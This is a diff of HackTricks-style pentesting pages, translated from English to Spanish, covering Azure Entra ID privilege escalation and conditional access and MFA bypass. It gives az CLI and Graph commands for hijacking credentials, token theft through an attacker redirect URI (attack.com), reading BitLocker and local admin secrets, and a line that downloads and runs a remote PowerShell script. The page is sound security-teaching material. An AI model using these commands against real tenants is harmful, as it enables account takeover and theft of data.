Privileged Role Administrator -This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges. - -- Assign role to a user: +Este rol contiene los permisos granulares necesarios para poder asignar roles a los principales y para otorgar más permisos a los roles. Ambas acciones podrían ser abusadas para escalar privilegios. +- Asignar rol a un usuario: ```bash # List enabled built-in roles az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directoryRoles" +--uri "https://graph.microsoft.com/v1.0/directoryRoles" # Give role (Global Administrator?) to a user roleId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \ - --headers "Content-Type=application/json" \ - --body "{ - \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" - }" +--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \ +--headers "Content-Type=application/json" \ +--body "{ +\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" +}" ``` - -- Add more permissions to a role: - +- Agregar más permisos a un rol: ```bash # List only custom roles az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' +--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' # Change the permissions of a custom role az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/" \ - --headers "Content-Type=application/json" \ - --body '{ - "description": "Update basic properties of application registrations", - "rolePermissions": [ - { - "allowedResourceActions": [ - "microsoft.directory/applications/credentials/update" - ] - } - ] - }' +--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/" \ +--headers "Content-Type=application/json" \ +--body '{ +"description": "Update basic properties of application registrations", +"rolePermissions": [ +{ +"allowedResourceActions": [ +"microsoft.directory/applications/credentials/update" +] +} +] +}' ``` - -## Applications +## Aplicaciones ### `microsoft.directory/applications/credentials/update` -This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges. - +Esto permite a un atacante **agregar credenciales** (contraseñas o certificados) a aplicaciones existentes. Si la aplicación tiene permisos privilegiados, el atacante puede autenticarse como esa aplicación y obtener esos privilegios. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append # Generate a new certificate without overwritting old ones az ad app credential reset --id --create-cert ``` - ### `microsoft.directory/applications.myOrganization/credentials/update` -This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications. - +Esto permite las mismas acciones que `applications/credentials/update`, pero limitado a aplicaciones de un solo directorio. ```bash az ad app credential reset --id --append ``` - ### `microsoft.directory/applications/owners/update` -By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions. - +Al agregarse a sí mismos como propietarios, un atacante puede manipular la aplicación, incluidas las credenciales y permisos. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -84,78 +75,66 @@ az ad app credential reset --id --append # You can check the owners with az ad app owner list --id ``` - ### `microsoft.directory/applications/allProperties/update` -An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything. - -Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions. +Un atacante puede agregar una URI de redirección a las aplicaciones que están siendo utilizadas por los usuarios del inquilino y luego compartir con ellos URLs de inicio de sesión que utilizan la nueva URL de redirección para robar sus tokens. Tenga en cuenta que si el usuario ya estaba conectado a la aplicación, la autenticación será automática sin que el usuario necesite aceptar nada. +Tenga en cuenta que también es posible cambiar los permisos que la aplicación solicita para obtener más permisos, pero en este caso el usuario necesitará aceptar nuevamente el aviso que solicita todos los permisos. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` - ## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. - +Esto permite a un atacante agregar credenciales a los principales de servicio existentes. Si el principal de servicio tiene privilegios elevados, el atacante puede asumir esos privilegios. ```bash az ad sp credential reset --id --append ``` - > [!CAUTION] -> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\ -> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` - -If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute: +> La nueva contraseña generada no aparecerá en la consola web, por lo que esto podría ser una forma sigilosa de mantener la persistencia sobre un servicio principal.\ +> Desde la API se pueden encontrar con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +Si obtienes el error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` es porque **no es posible modificar la propiedad passwordCredentials** del SP y primero necesitas desbloquearla. Para ello necesitas un permiso (`microsoft.directory/applications/allProperties/update`) que te permita ejecutar: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` - ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. - +Esto permite a un atacante agregar credenciales a los principales de servicio existentes. Si el principal de servicio tiene privilegios elevados, el atacante puede asumir esos privilegios. ```bash az ad sp credential reset --id --append ``` - ### `microsoft.directory/servicePrincipals/owners/update` -Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions. - +Similar a las aplicaciones, este permiso permite agregar más propietarios a un principal de servicio. Ser propietario de un principal de servicio permite el control sobre sus credenciales y permisos. ```bash # Add new owner spId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \ - --headers "Content-Type=application/json" \ - --body "{ - \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" - }" +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \ +--headers "Content-Type=application/json" \ +--body "{ +\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" +}" az ad sp credential reset --id --append # You can check the owners with az ad sp owner list --id ``` - > [!CAUTION] -> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**. +> Después de agregar un nuevo propietario, intenté eliminarlo, pero la API respondió que el método DELETE no era compatible, incluso si es el método que necesitas usar para eliminar al propietario. Así que **no puedes eliminar propietarios en la actualidad**. -### `microsoft.directory/servicePrincipals/disable` and `enable` +### `microsoft.directory/servicePrincipals/disable` y `enable` -These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges. - -Note that for this technique the attacker will need more permissions in order to take over the enabled service principal. +Estos permisos permiten deshabilitar y habilitar principales de servicio. Un atacante podría usar este permiso para habilitar un principal de servicio al que podría acceder de alguna manera para escalar privilegios. +Ten en cuenta que para esta técnica, el atacante necesitará más permisos para hacerse cargo del principal de servicio habilitado. ```bash bashCopy code# Disable az ad sp update --id --account-enabled false @@ -163,11 +142,9 @@ az ad sp update --id --account-enabled false # Enable az ad sp update --id --account-enabled true ``` - #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications. - +Estos permisos permiten crear y obtener credenciales para el inicio de sesión único, lo que podría permitir el acceso a aplicaciones de terceros. ```bash # Generate SSO creds for a user or a group spID="" @@ -175,176 +152,155 @@ user_or_group_id="" username="" password="" az rest --method POST \ - --uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \ - --headers "Content-Type=application/json" \ - --body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}" +--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \ +--headers "Content-Type=application/json" \ +--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}" # Get credentials of a specific credID credID="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \ - --headers "Content-Type=application/json" \ - --body "{\"id\": \"$credID\"}" +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \ +--headers "Content-Type=application/json" \ +--body "{\"id\": \"$credID\"}" ``` - --- -## Groups +## Grupos ### `microsoft.directory/groups/allProperties/update` -This permission allows to add users to privileged groups, leading to privilege escalation. - +Este permiso permite agregar usuarios a grupos privilegiados, lo que lleva a la escalada de privilegios. ```bash az ad group member add --group --member-id ``` - -**Note**: This permission excludes Entra ID role-assignable groups. +**Nota**: Este permiso excluye los grupos asignables de roles de Entra ID. ### `microsoft.directory/groups/owners/update` -This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group. - +Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, lo que potencialmente puede escalar privilegios al grupo. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` - -**Note**: This permission excludes Entra ID role-assignable groups. +**Nota**: Este permiso excluye los grupos asignables de roles de Entra ID. ### `microsoft.directory/groups/members/update` -This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access. - +Este permiso permite agregar miembros a un grupo. Un atacante podría agregarse a sí mismo o a cuentas maliciosas a grupos privilegiados, lo que puede otorgar acceso elevado. ```bash az ad group member add --group --member-id ``` - ### `microsoft.directory/groups/dynamicMembershipRule/update` -This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition. - +Este permiso permite actualizar la regla de membresía en un grupo dinámico. Un atacante podría modificar las reglas dinámicas para incluirse a sí mismo en grupos privilegiados sin una adición explícita. ```bash groupId="" az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/groups/$groupId" \ - --headers "Content-Type=application/json" \ - --body '{ - "membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")", - "membershipRuleProcessingState": "On" - }' +--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \ +--headers "Content-Type=application/json" \ +--body '{ +"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")", +"membershipRuleProcessingState": "On" +}' ``` +**Nota**: Este permiso excluye los grupos asignables por rol de Entra ID. -**Note**: This permission excludes Entra ID role-assignable groups. +### Privesc de Grupos Dinámicos -### Dynamic Groups Privesc - -It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check: +Puede ser posible que los usuarios escalen privilegios modificando sus propias propiedades para ser añadidos como miembros de grupos dinámicos. Para más información, consulta: {{#ref}} dynamic-groups.md {{#endref}} -## Users +## Usuarios ### `microsoft.directory/users/password/update` -This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles. - +Este permiso permite restablecer la contraseña a usuarios no administradores, lo que permite a un posible atacante escalar privilegios a otros usuarios. Este permiso no se puede asignar a roles personalizados. ```bash az ad user update --id --password "kweoifuh.234" ``` - ### `microsoft.directory/users/basic/update` -This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges. - +Este privilegio permite modificar las propiedades del usuario. Es común encontrar grupos dinámicos que añaden usuarios en función de los valores de las propiedades, por lo tanto, este permiso podría permitir a un usuario establecer el valor de propiedad necesario para ser miembro de un grupo dinámico específico y escalar privilegios. ```bash #e.g. change manager of a user victimUser="" managerUser="" az rest --method PUT \ - --uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}' +--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}' #e.g. change department of a user az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/users/$victimUser" \ - --headers "Content-Type=application/json" \ - --body "{\"department\": \"security\"}" +--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \ +--headers "Content-Type=application/json" \ +--body "{\"department\": \"security\"}" ``` +## Políticas de acceso condicional y bypass de MFA -## Conditional Access Policies & MFA bypass - -Misconfigured conditional access policies requiring MFA could be bypassed, check: +Las políticas de acceso condicional mal configuradas que requieren MFA podrían ser eludidas, verifica: {{#ref}} az-conditional-access-policies-mfa-bypass.md {{#endref}} -## Devices +## Dispositivos ### `microsoft.directory/devices/registeredOwners/update` -This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data. - +Este permiso permite a los atacantes asignarse a sí mismos como propietarios de dispositivos para obtener control o acceso a configuraciones y datos específicos del dispositivo. ```bash deviceId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' +--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' ``` - ### `microsoft.directory/devices/registeredUsers/update` -This permission allows attackers to associate their account with devices to gain access or to bypass security policies. - +Este permiso permite a los atacantes asociar su cuenta con dispositivos para obtener acceso o eludir políticas de seguridad. ```bash deviceId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' +--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' ``` - ### `microsoft.directory/deviceLocalCredentials/password/read` -This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password - +Este permiso permite a los atacantes leer las propiedades de las credenciales de la cuenta de administrador local respaldada para dispositivos unidos a Microsoft Entra, incluyendo la contraseña. ```bash # List deviceLocalCredentials az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials" +--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials" # Get credentials deviceLC="" az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \ +--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \ ``` - ## BitlockerKeys ### `microsoft.directory/bitlockerKeys/key/read` -This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality. - +Este permiso permite acceder a las claves de BitLocker, lo que podría permitir a un atacante descifrar unidades, comprometiendo la confidencialidad de los datos. ```bash # List recovery keys az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys" +--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys" # Get key recoveryKeyId="" az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" +--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` - -## Other Interesting permissions (TODO) +## Otras permisos interesantes (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` @@ -355,7 +311,3 @@ az rest --method GET \ - `microsoft.directory/applications.myOrganization/permissions/update` {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 27bf965d0..6a3c432da 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,93 +1,90 @@ -# Az - Conditional Access Policies & MFA Bypass +# Az - Políticas de Acceso Condicional y Bypass de MFA {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\ -Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**. +Las políticas de acceso condicional de Azure son reglas establecidas en Microsoft Azure para hacer cumplir los controles de acceso a los servicios y aplicaciones de Azure basándose en ciertas **condiciones**. Estas políticas ayudan a las organizaciones a asegurar sus recursos aplicando los controles de acceso correctos en las circunstancias adecuadas.\ +Las políticas de acceso condicional **definen** **Quién** puede acceder a **Qué** desde **Dónde** y **Cómo**. -Here are a couple of examples: +Aquí hay un par de ejemplos: -1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication. -2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version. +1. **Política de Riesgo de Inicio de Sesión**: Esta política podría configurarse para requerir autenticación multifactor (MFA) cuando se detecta un riesgo de inicio de sesión. Por ejemplo, si el comportamiento de inicio de sesión de un usuario es inusual en comparación con su patrón regular, como iniciar sesión desde un país diferente, el sistema puede solicitar autenticación adicional. +2. **Política de Cumplimiento de Dispositivos**: Esta política puede restringir el acceso a los servicios de Azure solo a dispositivos que cumplan con los estándares de seguridad de la organización. Por ejemplo, el acceso podría permitirse solo desde dispositivos que tengan software antivirus actualizado o que estén ejecutando una versión específica del sistema operativo. -## Conditional Acces Policies Bypasses +## Bypasses de Políticas de Acceso Condicional -It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it. +Es posible que una política de acceso condicional esté **verificando alguna información que puede ser fácilmente manipulada, permitiendo un bypass de la política**. Y si, por ejemplo, la política estaba configurando MFA, el atacante podrá eludirla. -When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps). +Al configurar una política de acceso condicional, es necesario indicar los **usuarios** afectados y los **recursos objetivo** (como todas las aplicaciones en la nube). -It's also needed to configure the **conditions** that will **trigger** the policy: +También es necesario configurar las **condiciones** que **activarán** la política: -- **Network**: Ip, IP ranges and geographical locations - - Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address -- **Microsoft risks**: User risk, Sign-in risk, Insider risk -- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux - - If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms -- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients” - - To bypass login with a not selected option -- **Filter for devices**: It’s possible to generate a rule related the used device -- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer” - - This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account +- **Red**: IP, rangos de IP y ubicaciones geográficas +- Puede ser eludida usando una VPN o Proxy para conectarse a un país o logrando iniciar sesión desde una dirección IP permitida +- **Riesgos de Microsoft**: Riesgo del usuario, riesgo de inicio de sesión, riesgo interno +- **Plataformas de dispositivos**: Cualquier dispositivo o seleccionar Android, iOS, Windows phone, Windows, macOS, Linux +- Si “Cualquier dispositivo” no está seleccionado pero todas las otras opciones están seleccionadas, es posible eludirlo usando un user-agent aleatorio no relacionado con esas plataformas +- **Aplicaciones cliente**: Las opciones son “Navegador”, “Aplicaciones móviles y clientes de escritorio”, “Clientes de Exchange ActiveSync” y “Otros clientes” +- Para eludir el inicio de sesión con una opción no seleccionada +- **Filtro para dispositivos**: Es posible generar una regla relacionada con el dispositivo utilizado +- **Flujos de autenticación**: Las opciones son “Flujo de código de dispositivo” y “Transferencia de autenticación” +- Esto no afectará a un atacante a menos que esté tratando de abusar de cualquiera de esos protocolos en un intento de phishing para acceder a la cuenta de la víctima -The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant… +Los posibles **resultados** son: Bloquear o Conceder acceso con condiciones potenciales como requerir MFA, que el dispositivo sea conforme… -### Device Platforms - Device Condition +### Plataformas de Dispositivos - Condición del Dispositivo -It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block: +Es posible establecer una condición basada en la **plataforma del dispositivo** (Android, iOS, Windows, macOS...), sin embargo, esto se basa en el **user-agent** por lo que es fácil de eludir. Incluso **haciendo que todas las opciones exijan MFA**, si usas un **user-agent que no es reconocido,** podrás eludir el MFA o el bloqueo:
-Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\ -You can change the user agent **manually** in the developer tools: +Simplemente haciendo que el navegador **envíe un user-agent desconocido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) es suficiente para no activar esta condición.\ +Puedes cambiar el user agent **manualmente** en las herramientas de desarrollo:
- Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). + O usar una [extensión de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -### Locations: Countries, IP ranges - Device Condition +### Ubicaciones: Países, rangos de IP - Condición del Dispositivo -If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions. +Si esto está configurado en la política condicional, un atacante podría simplemente usar una **VPN** en el **país permitido** o intentar encontrar una manera de acceder desde una **dirección IP permitida** para eludir estas condiciones. -### Cloud Apps +### Aplicaciones en la Nube -It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**: +Es posible configurar **políticas de acceso condicional para bloquear o forzar**, por ejemplo, MFA cuando un usuario intenta acceder a una **aplicación específica**:
-To try to bypass this protection you should see if you can **only into any application**.\ -The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful. - -In order to **test specific application IDs in specific resources** you could also use a tool such as: +Para intentar eludir esta protección, deberías ver si puedes **iniciar sesión solo en cualquier aplicación**.\ +La herramienta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tiene **decenas de IDs de aplicación codificados** y intentará iniciar sesión en ellas y te informará e incluso te dará el token si tiene éxito. +Para **probar IDs de aplicación específicos en recursos específicos**, también podrías usar una herramienta como: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` +Además, también es posible proteger el método de inicio de sesión (por ejemplo, si estás intentando iniciar sesión desde el navegador o desde una aplicación de escritorio). La herramienta [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) realiza algunas verificaciones para intentar eludir estas protecciones también. -Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also. +La herramienta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) también podría usarse para propósitos similares, aunque parece no estar mantenida. -The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained. +La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede utilizar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva **whitebox**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas. -The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them. +## Otras elusiones de Az MFA -## Other Az MFA Bypasses +### Tono de llamada -### Ring tone - -One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**. +Una opción de Azure MFA es **recibir una llamada en el número de teléfono configurado** donde se le pedirá al usuario que **envíe el carácter `#`**. > [!CAUTION] -> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail. +> Como los caracteres son solo **tonos**, un atacante podría **comprometer** el mensaje de **buzón de voz** del número de teléfono, configurar como mensaje el **tono de `#`** y luego, al solicitar el MFA, asegurarse de que el **teléfono de la víctima esté ocupado** (llamándolo) para que la llamada de Azure se redirija al buzón de voz. -### Compliant Devices +### Dispositivos compatibles -Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**. - -Start by registering a **compliant device in Intune**, then **get the PRT** with: +Las políticas a menudo piden un dispositivo compatible o MFA, por lo que un **atacante podría registrar un dispositivo compatible**, obtener un **token PRT** y **eludir de esta manera el MFA**. +Comienza registrando un **dispositivo compatible en Intune**, luego **obtén el PRT** con: ```powershell $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -97,89 +94,72 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` - -Find more information about this kind of attack in the following page: +Encuentra más información sobre este tipo de ataque en la siguiente página: {{#ref}} ../../az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Tooling +## Herramientas ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -This script get some user credentials and check if it can login in some applications. +Este script obtiene algunas credenciales de usuario y verifica si puede iniciar sesión en algunas aplicaciones. -This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**. +Esto es útil para ver si **no se requiere MFA para iniciar sesión en algunas aplicaciones** que podrías abusar más tarde para **escalar privilegios**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) -Get all the policies - +Obtiene todas las políticas. ```bash roadrecon plugin policies ``` - ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected. - +MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo estén configuradas las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` - ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded. +Esta herramienta ha ayudado a identificar bypasses de MFA y luego abusar de APIs en múltiples inquilinos de AAD en producción, donde los clientes de AAD creían que tenían MFA aplicado, pero la autenticación basada en ROPC tuvo éxito. > [!TIP] -> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force. - +> Necesitas tener permisos para listar todas las aplicaciones para poder generar la lista de las aplicaciones a las que hacer brute-force. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json ./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv ./ropci auth bulk -i apps.csv -o results.json ``` - ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc.. +Donkey token es un conjunto de funciones que tienen como objetivo ayudar a los consultores de seguridad que 